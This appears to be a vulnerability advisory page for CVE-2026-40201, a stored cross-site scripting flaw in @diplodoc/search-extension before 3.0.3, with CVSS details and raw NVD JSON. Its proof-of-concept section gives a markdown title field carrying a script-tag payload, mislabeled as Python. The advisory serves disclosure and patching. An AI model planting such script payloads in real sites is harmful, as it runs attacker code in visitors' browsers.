Security Vulnerability Report
中文
CVE-2026-40201 CVSS 5.4 MEDIUM

CVE-2026-40201

Published: 2026-05-01 09:16:17
Last Modified: 2026-05-05 02:16:04

Description

@diplodoc/search-extension 1.0.0 through 3.x before 3.0.3 allows stored XSS via the title in a .md file.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

@diplodoc/search-extension >= 1.0.0, < 3.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-40201 # Create a malicious markdown file named 'exploit.md' --- title: <script>alert('CVE-2026-40201 Stored XSS');</script> --- # Normal Content This file contains a malicious payload in the title field.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40201", "sourceIdentifier": "[email protected]", "published": "2026-05-01T09:16:16.810", "lastModified": "2026-05-05T02:16:03.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "@diplodoc/search-extension 1.0.0 through 3.x before 3.0.3 allows stored XSS via the title in a .md file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/diplodoc-platform/search-extension/pull/41", "source": "[email protected]"}, {"url": "https://github.com/diplodoc-platform/search-extension/releases", "source": "[email protected]"}, {"url": "https://github.com/diplodoc-platform/search-extension/releases/tag/v3.0.3", "source": "[email protected]"}, {"url": "https://github.com/eyelessgoddd/eyelessgoddd/blob/main/README.md", "source": "[email protected]"}]}}